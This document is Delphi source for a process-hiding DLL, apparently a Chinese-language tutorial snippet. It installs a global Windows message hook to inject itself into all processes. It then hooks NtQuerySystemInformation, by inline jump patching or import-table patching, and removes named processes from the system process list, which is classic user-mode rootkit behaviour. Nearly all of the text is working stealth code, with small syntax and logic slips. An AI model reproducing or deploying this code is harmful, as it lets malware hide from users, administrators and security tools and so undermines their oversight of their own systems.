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隐藏进程 for delphi
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HookDllMain.pas
interface
uses
Windows , Messages , TlHelp32 , Sysutils ,
NTHookUnit;
const
MappingFileName = 'M_File_HKHP_1.0'
FileNameLength = 100;
Trap = True; {True陷阱式,False改引入表式}
type
TShareMem = packed record
FileCount : integer;
FileNames : array [0..2000] of char;
end;
PShareMem = ^TShareMem;
TPDWord = ^DWORD;
UNICODE_STRING = Record
Length : SHORT;
MaxLen : SHORT ;
Name : Pointer;
end;
TProcessInfo=Record
NextEntryDelta : ULONG;
ThreadCount : ULONG;
Reserved1 : array [1..6] of ULONG;
CreateTime : LARGE_INTEGER;
UserTime : LARGE_INTEGER;
KernelTime : LARGE_INTEGER;
ProcessName : UNICODE_STRING;
BasePriority : ULONG;
ProcessId : ULONG;
end;
PProcessInfo = ^TProcessInfo;
Function NtQuerySystemInformation(infoClass: DWORD;
buffer: Pointer;
bufSize: DWORD;
returnSize: TPDWord): DWORD; stdcall;
procedure HideProcess(FileName : Pchar); stdcall;
procedure StopHook; stdcall;
implementation
var
pShMem : PShareMem;
hMappingFile : THandle;
Hook : THookClass;
MessageHook : Thandle;
Function NtQuerySystemInformation ; external 'NTDLL.DLL' name 'NtQuerySystemInformation'
Function CheckFileIsHideFile(var lppe : TProcessEntry32) : Boolean;stdcall;
begin
Result := Uppercase(Lppe.szExeFile)='KBP.EXE'
end;
Function HideProcessStru(HideFile : PChar ; Buf : Pointer) : integer;stdcall;
var
P , LastP : PProcessInfo;
PW : PWideChar;
FileName : String;
begin
Result := NO_ERROR;
FileName := Uppercase(HideFile);
P := Buf;
LastP := NIL;
while P.NextEntryDelta<>0 do begin
PW := P.ProcessName.Name;
if Uppercase(String(PW))=FileName then begin
if LastP<>NIL then
LastP.NextEntryDelta := LastP.NextEntryDelta + P.NextEntryDelta;
end;
LastP := P;
P := Ptr(DWORD(P) + P.NextEntryDelta);
end;
end;
Function NewNtQuerySystemInformation(infoClass: DWORD;
buffer: Pointer;
bufSize: DWORD;
returnSize: TPDWord): DWORD; stdcall;
type
TNtQuerySystemInformation = Function(infoClass: DWORD;
buffer: Pointer;
bufSize: DWORD;
returnSize: TPDWord): DWORD; stdcall;
begin
Hook.Restore; {改引入表式可以不使用此语句}
Result := TNtQuerySystemInformation(Hook.OldFunction)(infoClass,
buffer,
bufSize,
returnSize);
if infoClass=5 then begin
HideProcessStru(pShMem^.FileNames,Buffer);
end;
Hook.Change; {改引入表式可以不使用此语句}
end;
function GetMsgProc(code: integer; wPar: integer; lPar: integer): Integer; stdcall;
begin
Result := CallNextHookEx(MessageHook, Code, wPar, lPar);
end;
procedure HideProcess(FileName : Pchar); stdcall;
begin
if MessageHook=0 then begin
MessageHook := SetWindowsHookEx(WH_GetMessage, GetMsgProc, HInstance, 0);
end;
StrlCopy(pShMem^.FileNames + pShMem^.FileCount * FileNameLength ,
FileName ,
FileNameLength);
Inc(pShMem^.FileCount);
end;
procedure StopHook; stdcall;
begin
if MessageHook<>0 then begin
UnhookWindowsHookEx(MessageHook);
MessageHook := 0;
SendMessage(HWND_BROADCAST,WM_SETTINGCHANGE,0,0);
end;
end;
initialization
hMappingFile := OpenFileMapping(FILE_MAP_WRITE,False,MappingFileName);
if hMappingFile=0 then
hMappingFile := CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,SizeOf(TShareMem),MappingFileName);
if hMappingFile = 0 then Exception.Create('不能建立共享内存!');
pShMem := MapViewOfFile(hMappingFile,FILE_MAP_WRITE or FILE_MAP_READ,0,0,0);
pShMem.FileCount := 0;
if pShMem = nil then begin
CloseHandle(hMappingFile);
Exception.Create('不能映射共享内存!');
end;
MessageHook := 0;
Hook := THookClass.Create(Trap,@NtQuerySystemInformation,@NewNtQuerySystemInformation);{Trap=False改引入表式}
finalization
Hook.Destroy;
UnMapViewOfFile(pShMem);
CloseHandle(hMappingFile);
StopHook;
end.
NTHookUnit.pas
unit NTHookUnit;
interface
uses
Classes, Windows, SysUtils, Messages;
type
TImportCode = packed record
JumpInstruction: Word;
AddressOfPointerToFunction: PPointer;
end;
PImage_Import_Entry = ^Image_Import_Entry;
Image_Import_Entry = record
Characteristics: DWORD;
TimeDateStamp: DWORD;
MajorVersion: Word;
MinorVersion: Word;
Name: DWORD;
LookupTable: DWORD;
end;
PImportCode = ^TImportCode;
TLongJmp = packed record
JmpCode: ShortInt; {指令，用$E9来代替系统的指令}
FuncAddr: DWORD; {函数地址}
end;
THookClass = class
private
Trap:boolean; {调用方式：True陷阱式，False改引入表式}
hProcess: Cardinal; {进程句柄，只用于陷阱式}
AlreadyHook:boolean; {是否已安装Hook，只用于陷阱式}
AllowChange:boolean; {是否允许安装、卸载Hook，只用于改引入表式}
Oldcode: array[0..4]of byte; {系统函数原来的前5个字节}
Newcode: TLongJmp; {将要写在系统函数的前5个字节}
private
public
OldFunction,NewFunction:Pointer;{被截函数、自定义函数}
constructor Create(IsTrap:boolean;OldFun,NewFun:pointer);
constructor Destroy;
procedure Restore;
procedure Change;
published
end;
implementation
{取函数的实际地址。如果函数的第一个指令是Jmp，则取出它的跳转地址（实际地址），这往往是由于程序中含有Debug调试信息引起的}
function FinalFunctionAddress(Code: Pointer): Pointer;
Var
func: PImportCode;
begin
Result:=Code;
if Code=nil then exit;
try
func:=code;
if (func.JumpInstruction=$25FF) then
{指令二进制码FF 25 汇编指令jmp [...]}
Func:=func.AddressOfPointerToFunction^;
result:=Func;
except
Result:=nil;
end;
end;
{更改引入表中指定函数的地址，只用于改引入表式}
function PatchAddressInModule(BeenDone:Tlist;hModule: THandle; OldFunc,NewFunc: Pointer):integer;
const
SIZE=4;
Var
Dos: PImageDosHeader;
NT: PImageNTHeaders;
ImportDesc: PImage_Import_Entry;
rva: DWORD;
Func: PPointer;
DLL: String;
f: Pointer;
written: DWORD;
mbi_thunk:TMemoryBasicInformation;
dwOldProtect:DWORD;
begin
Result:=0;
if hModule=0 then exit;
Dos:=Pointer(hModule);
{如果这个DLL模块已经处理过，则退出。BeenDone包含已处理的DLL模块}
if BeenDone.IndexOf(Dos)>=0 then exit;
BeenDone.Add(Dos);{把DLL模块名加入BeenDone}
OldFunc:=FinalFunctionAddress(OldFunc);{取函数的实际地址}
{如果这个DLL模块的地址不能访问，则退出}
if IsBadReadPtr(Dos,SizeOf(TImageDosHeader)) then exit;
{如果这个模块不是以'MZ'开头，表明不是DLL，则退出}
if Dos.e_magic<>IMAGE_DOS_SIGNATURE then exit;{IMAGE_DOS_SIGNATURE='MZ'}
{定位至NT Header}
NT :=Pointer(Integer(Dos) + dos._lfanew);
{定位至引入函数表}
RVA:=NT^.OptionalHeader.
DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
if RVA=0 then exit;{如果引入函数表为空，则退出}
{把函数引入表的相对地址RVA转换为绝对地址}
ImportDesc := pointer(DWORD(Dos)+RVA);{Dos是此DLL模块的首地址}
{遍历所有被引入的下级DLL模块}
While (ImportDesc^.Name<>0) do
begin
{被引入的下级DLL模块名字}
DLL:=PChar(DWORD(Dos)+ImportDesc^.Name);
{把被导入的下级DLL模块当做当前模块，进行递归调用}
PatchAddressInModule(BeenDone,GetModuleHandle(PChar(DLL)),OldFunc,NewFunc);
{定位至被引入的下级DLL模块的函数表}
Func:=Pointer(DWORD(DOS)+ImportDesc.LookupTable);
{遍历被引入的下级DLL模块的所有函数}
While Func^<>nil do
begin
f:=FinalFunctionAddress(Func^);{取实际地址}
if f=OldFunc then {如果函数实际地址就是所要找的地址}
begin
VirtualQuery(Func,mbi_thunk, sizeof(TMemoryBasicInformation));
VirtualProtect(Func,SIZE,PAGE_EXECUTE_WRITECOPY,mbi_thunk.Protect);{更改内存属性}
WriteProcessMemory(GetCurrentProcess,Func,@NewFunc,SIZE,written);{把新函数地址覆盖它}
VirtualProtect(Func, SIZE, mbi_thunk.Protect,dwOldProtect);{恢复内存属性}
end;
If Written=4 then Inc(Result);
// else showmessagefmt('error:%d',[Written]);
Inc(Func);{下一个功能函数}
end;
Inc(ImportDesc);{下一个被引入的下级DLL模块}
end;
end;
{HOOK的入口，其中IsTrap表示是否采用陷阱式}
constructor THookClass.Create(IsTrap : boolean; OldFun,NewFun : pointer);
begin
{求被截函数、自定义函数的实际地址}
OldFunction:=FinalFunctionAddress(OldFun);
NewFunction:=FinalFunctionAddress(NewFun);
Trap:=IsTrap;
if Trap then{如果是陷阱式}
begin
{以特权的方式来打开当前进程}
hProcess := OpenProcess(PROCESS_ALL_ACCESS,FALSE, GetCurrentProcessID());
{生成jmp xxxx的代码，共5字节}
Newcode.JmpCode := ShortInt($E9); {jmp指令的十六进制代码是E9}
NewCode.FuncAddr := DWORD(NewFunction) - DWORD(OldFunction) - 5;
{保存被截函数的前5个字节}
Move(OldFunction^,OldCode,5);
{设置为还没有开始HOOK}
AlreadyHook := False;
end;
{如果是改引入表式，将允许HOOK}
if not Trap then AllowChange:=true;
Change; {开始HOOK}
{如果是改引入表式，将暂时不允许HOOK}
if not Trap then AllowChange:=false;
end;
{HOOK的出口}
constructor THookClass.Destroy;
begin
{如果是改引入表式，将允许HOOK}
if not Trap then AllowChange:=true;
Restore; {停止HOOK}
if Trap then{如果是陷阱式}
CloseHandle(hProcess);
end;
{开始HOOK}
procedure THookClass.Change;
var
nCount: DWORD;
BeenDone: TList;
begin
if Trap then{如果是陷阱式}
begin
if (AlreadyHook)or (hProcess = 0) or (OldFunction = nil) or (NewFunction = nil) then
exit;
AlreadyHook:=true;{表示已经HOOK}
WriteProcessMemory(hProcess, OldFunction, @(Newcode), 5, nCount);
end
else begin{如果是改引入表式}
if (not AllowChange)or(OldFunction=nil)or(NewFunction=nil)then exit;
BeenDone:=TList.Create; {用于存放当前进程所有DLL模块的名字}
try
PatchAddressInModule(BeenDone,GetModuleHandle(nil),OldFunction,NewFunction);
finally
BeenDone.Free;
end;
end;
end;
{恢复系统函数的调用}
procedure THookClass.Restore;
var
nCount: DWORD;
BeenDone: TList;
begin
if Trap then{如果是陷阱式}
begin
if (not AlreadyHook) or (hProcess = 0) or (OldFunction = nil) or (NewFunction = nil) then
exit;
WriteProcessMemory(hProcess, OldFunction, @(Oldcode), 5, nCount);
AlreadyHook := False;{表示退出HOOK}
end
else begin{如果是改引入表式}
if (not AllowChange)or(OldFunction=nil)or(NewFunction=nil)then exit;
BeenDone := TList.Create;{用于存放当前进程所有DLL模块的名字}
try
PatchAddressInModule(BeenDone,GetModuleHandle(nil),NewFunction,OldFunction);
finally
BeenDone.Free;
end;
end;
end;
end.
HideProcessDLL.dpr
library HideProcessDLL;
uses
SysUtils,
HookDllMain in 'HookDllMain.pas'
{$R *.res}
exports
HideProcess, StopHook;
begin
end.
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